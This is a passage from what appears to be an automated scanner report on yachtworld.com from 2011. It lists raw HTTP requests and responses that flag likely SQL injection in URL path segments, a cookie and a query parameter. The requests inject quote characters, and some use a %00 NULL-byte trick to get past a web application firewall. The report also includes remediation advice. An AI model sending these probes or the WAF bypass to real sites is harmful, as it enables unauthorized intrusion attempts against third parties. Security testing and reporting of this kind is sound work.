4=no%20search%20phrase%20entered&v4=no%20search%20phrase%20entered&c5=regulator&v5=regulator&c6=used&v6=used&c7=no%20search%20phrase%20entered&v7=no%20search%20phrase%20entered&c8=24%27-32%27&v8=24%27-32%27&c9=%3E2004&v9=%3E2004&c10=no%20search%20phrase%20entered&v10=no%20search%20phrase%20entered&c11=no%20search%20phrase%20entered&v11=no%20search%20phrase%20entered&c12=no%20search%20phrase%20entered&v12=no%20search%20phrase%20entered&c13=no%20search%20phrase%20entered&v13=no%20search%20phrase%20entered&c14=no%20search%20phrase%20entered&v14=no%20search%20phrase%20entered&c15=no%20search%20phrase%20entered&v15=no%20search%20phrase%20entered&c16=no%20search%20phrase%20entered&v16=no%20search%20phrase%20entered&c17=united%20states&v17=united%20states&c18=no%20search%20phrase%20entered&v18=no%20search%20phrase%20entered&c19=74&c20=Homepage&c21=Default&c22=2%3A15PM&c23=Thursday&c24=Weekday&c27=www.yachtworld.com&v27=Homepage&v28=www.yachtworld.com&v31=Default&c33=First%20Visit&v33=First%20Visit&c34=New&v34=New&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=1155&bh=1012&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&pid=advancedSearch_US&pidt=1&oid=Search&oidt=3&ot=SUBMIT&AQE=1 HTTP/1.1 Host: metrics.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.yachtworld.com/core/listing/cache/searchResults.jsp?cit=true&slim=quick&ybw=&sm=3&searchtype=homepage&Ntk=boatsEN&Ntt=&is=false&man=regulator&hmid=0&ftid=0&enid=0&fromLength=24&toLength=32&luom=126&fromYear=2004&toYear=&fromPrice=0&toPrice=¤cyid=100&city=&rid=&cint=100&pbsint=&boatsAddedSelected=-1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.4.10.1296155835; s_pers=%20s_nr%3D1296156248340%7C1298748248340%3B%20s_lv%3D1296156248342%7C1390764248342%3B%20s_lv_s%3DFirst%2520Visit%7C1296158048342%3B; s_sess=%20s_sq%3Ddeyachtworld%253D%252526pid%25253DadvancedSearch_US%252526pidt%25253D1%252526oid%25253DSearch%252526oidt%25253D3%252526ot%25253DSUBMIT%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B
Response 2
HTTP/1.1 404 Not Found Date: Thu, 27 Jan 2011 19:37:26 GMT Server: Omniture DC/2.0.0 xserver: www632 Content-Length: 0 Content-Type: text/html
The REST URL parameter 1 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 1, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /b'/ss/deyachtworld/1/H.17/s48372025459539?AQB=1&pccr=true&vidn=26A0E25385162B05-600001A6003F61D3&&ndh=1&t=27/0/2011%2013%3A17%3A16%204%20360&ce=ISO-8859-1&ns=dominionenterprises&g=http%3A//www.yachtworld.com/core/listing/cache/pl_search_results.jsp%3Fywo%3Dstarlingmarine%26ps%3D50%26type%3D%26new%3D%26luom%3D126%26hosturl%3Dstarlingmarine%26page%3Dbroker%26slim%3Dbroker%26lineonly&r=http%3A//www.starlingmarine.com/used-new-boats-wilmington-morehead-nc.html&cc=USD&ch=BrokerWebSites&events=event2&c22=2%3A15PM&v22=2%3A15PM&c23=Thursday&v23=Thursday&c24=Weekday&v24=Weekday&c33=First%20Visit&v33=First%20Visit&c34=New&v34=New&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=713&bh=1200&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1 Host: metrics.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.yachtworld.com/core/listing/cache/pl_search_results.jsp?ywo=starlingmarine&ps=50&type=&new=&luom=126&hosturl=starlingmarine&page=broker&slim=broker&lineonly Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.1.10.1296155835; s_pers=%20s_nr%3D1296155836661%7C1298747836661%3B%20s_lv%3D1296155836663%7C1390763836663%3B%20s_lv_s%3DFirst%2520Visit%7C1296157636663%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]
Response 1
HTTP/1.1 404 Not Found Date: Thu, 27 Jan 2011 19:31:29 GMT Server: Omniture DC/2.0.0 Content-Length: 441 Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /b'/ss/deyachtworld/1/H.17/s48372025459539 was not fo ...[SNIP]... <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> ...[SNIP]...
Request 2
GET /b''/ss/deyachtworld/1/H.17/s48372025459539?AQB=1&pccr=true&vidn=26A0E25385162B05-600001A6003F61D3&&ndh=1&t=27/0/2011%2013%3A17%3A16%204%20360&ce=ISO-8859-1&ns=dominionenterprises&g=http%3A//www.yachtworld.com/core/listing/cache/pl_search_results.jsp%3Fywo%3Dstarlingmarine%26ps%3D50%26type%3D%26new%3D%26luom%3D126%26hosturl%3Dstarlingmarine%26page%3Dbroker%26slim%3Dbroker%26lineonly&r=http%3A//www.starlingmarine.com/used-new-boats-wilmington-morehead-nc.html&cc=USD&ch=BrokerWebSites&events=event2&c22=2%3A15PM&v22=2%3A15PM&c23=Thursday&v23=Thursday&c24=Weekday&v24=Weekday&c33=First%20Visit&v33=First%20Visit&c34=New&v34=New&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=713&bh=1200&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1 Host: metrics.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.yachtworld.com/core/listing/cache/pl_search_results.jsp?ywo=starlingmarine&ps=50&type=&new=&luom=126&hosturl=starlingmarine&page=broker&slim=broker&lineonly Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.1.10.1296155835; s_pers=%20s_nr%3D1296155836661%7C1298747836661%3B%20s_lv%3D1296155836663%7C1390763836663%3B%20s_lv_s%3DFirst%2520Visit%7C1296157636663%3B; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]
Response 2
HTTP/1.1 404 Not Found Date: Thu, 27 Jan 2011 19:31:29 GMT Server: Omniture DC/2.0.0 xserver: www493 Content-Length: 0 Content-Type: text/html
The REST URL parameter 4 appears to be vulnerable to SQL injection attacks. A single quote was submitted in the REST URL parameter 4, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /b/ss/deyachtworld/1%00'/H.17/s48372025459539?AQB=1&ndh=1&t=27/0/2011%2013%3A17%3A16%204%20360&ce=ISO-8859-1&ns=dominionenterprises&g=http%3A//www.yachtworld.com/core/listing/cache/pl_search_results.jsp%3Fywo%3Dstarlingmarine%26ps%3D50%26type%3D%26new%3D%26luom%3D126%26hosturl%3Dstarlingmarine%26page%3Dbroker%26slim%3Dbroker%26lineonly&r=http%3A//www.starlingmarine.com/used-new-boats-wilmington-morehead-nc.html&cc=USD&ch=BrokerWebSites&events=event2&c22=2%3A15PM&v22=2%3A15PM&c23=Thursday&v23=Thursday&c24=Weekday&v24=Weekday&c33=First%20Visit&v33=First%20Visit&c34=New&v34=New&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=713&bh=1200&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1 Host: metrics.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.yachtworld.com/core/listing/cache/pl_search_results.jsp?ywo=starlingmarine&ps=50&type=&new=&luom=126&hosturl=starlingmarine&page=broker&slim=broker&lineonly Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.1.10.1296155835; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296155836661%7C1298747836661%3B%20s_lv%3D1296155836663%7C1390763836663%3B%20s_lv_s%3DFirst%2520Visit%7C1296157636663%3B
Response 1
HTTP/1.1 404 Not Found Date: Thu, 27 Jan 2011 19:40:05 GMT Server: Omniture DC/2.0.0 Content-Length: 419 Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>404 Not Found</title> </head><body> <h1>Not Found</h1> <p>The requested URL /b/ss/deyachtworld/1 was not found on this server.</p ...[SNIP]... <p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p> ...[SNIP]...
Request 2
GET /b/ss/deyachtworld/1%00''/H.17/s48372025459539?AQB=1&ndh=1&t=27/0/2011%2013%3A17%3A16%204%20360&ce=ISO-8859-1&ns=dominionenterprises&g=http%3A//www.yachtworld.com/core/listing/cache/pl_search_results.jsp%3Fywo%3Dstarlingmarine%26ps%3D50%26type%3D%26new%3D%26luom%3D126%26hosturl%3Dstarlingmarine%26page%3Dbroker%26slim%3Dbroker%26lineonly&r=http%3A//www.starlingmarine.com/used-new-boats-wilmington-morehead-nc.html&cc=USD&ch=BrokerWebSites&events=event2&c22=2%3A15PM&v22=2%3A15PM&c23=Thursday&v23=Thursday&c24=Weekday&v24=Weekday&c33=First%20Visit&v33=First%20Visit&c34=New&v34=New&s=1920x1200&c=16&j=1.6&v=Y&k=Y&bw=713&bh=1200&p=Chrome%20PDF%20Viewer%3BGoogle%20Gears%200.5.33.0%3BShockwave%20Flash%3BJava%20Deployment%20Toolkit%206.0.230.5%3BJava%28TM%29%20Platform%20SE%206%20U23%3BWPI%20Detector%201.1%3BGoogle%20Update%3BSilverlight%20Plug-In%3BDefault%20Plug-in%3B&AQE=1 HTTP/1.1 Host: metrics.yachtworld.com Proxy-Connection: keep-alive Referer: http://www.yachtworld.com/core/listing/cache/pl_search_results.jsp?ywo=starlingmarine&ps=50&type=&new=&luom=126&hosturl=starlingmarine&page=broker&slim=broker&lineonly Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: __utmz=20819632.1296155835.1.1.utmcsr=starlingmarine.com|utmccn=(referral)|utmcmd=referral|utmcct=/used-new-boats-wilmington-morehead-nc.html; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.1.10.1296155835; s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B; s_pers=%20s_nr%3D1296155836661%7C1298747836661%3B%20s_lv%3D1296155836663%7C1390763836663%3B%20s_lv_s%3DFirst%2520Visit%7C1296157636663%3B
Response 2
HTTP/1.1 404 Not Found Date: Thu, 27 Jan 2011 19:40:05 GMT Server: Omniture DC/2.0.0 xserver: www663 Content-Length: 0 Content-Type: text/html
The VIEWED_BOATS_STORE cookie appears to be vulnerable to SQL injection attacks. A single quote was submitted in the VIEWED_BOATS_STORE cookie, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
The application attempts to block SQL injection attacks but this can be circumvented by submitting a URL-encoded NULL byte (%00) before the characters that are being blocked.
Remediation detail
NULL byte bypasses typically arise when the application is being defended by a web application firewall (WAF) that is written in native code, where strings are terminated by a NULL byte. You should fix the actual vulnerability within the application code, and if appropriate ask your WAF vendor to provide a fix for the NULL byte bypass.
Request 1
GET /privatelabel/listing/pl_boat_detail_handler.jsp?slim=pp279757¤cy=USD&units=Feet¤cyid=100&boat_id=2267335&primary_photo_id=30&back=%2Fprivatelabel%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fsm%3D3%26luom%3D126%26currencyid%3D100%26cit%3Dtrue%26ps%3D50%26slim%3Dpp279757&searchtype=buy HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States%00'; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response 1 (redirected)
HTTP/1.0 503 Service Temporarily Unavailable Date: Thu, 27 Jan 2011 20:02:15 GMT Server: Apache Vary: Accept-Encoding Content-Length: 323 Connection: close Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <html><head> <title>503 Service Temporarily Unavailable</title> </head><body> <h1>Service Temporarily Unavailable</h1> <p>The server is temporarily u ...[SNIP]...
Request 2
GET /privatelabel/listing/pl_boat_detail_handler.jsp?slim=pp279757¤cy=USD&units=Feet¤cyid=100&boat_id=2267335&primary_photo_id=30&back=%2Fprivatelabel%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fsm%3D3%26luom%3D126%26currencyid%3D100%26cit%3Dtrue%26ps%3D50%26slim%3Dpp279757&searchtype=buy HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States%00''; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response 2 (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:02:16 GMT Server: Apache Cache-Control: private Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The primary_photo_id parameter appears to be vulnerable to SQL injection attacks. A single quote was submitted in the primary_photo_id parameter, and a general error message was returned. Two single quotes were then submitted and the error message disappeared. You should review the contents of the error message, and the application's handling of other input, to confirm whether a vulnerability is present.
Request 1
GET /privatelabel/listing/pl_boat_detail_handler.jsp?slim=pp279757¤cy=USD&units=Feet¤cyid=100&boat_id=2267335&primary_photo_id=30'&back=%2Fprivatelabel%2Flisting%2Fcache%2Fpl_search_results.jsp%3Fsm%3D3%26luom%3D126%26currencyid%3D100%26cit%3Dtrue%26ps%3D50%26slim%3Dpp279757&searchtype=buy HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; 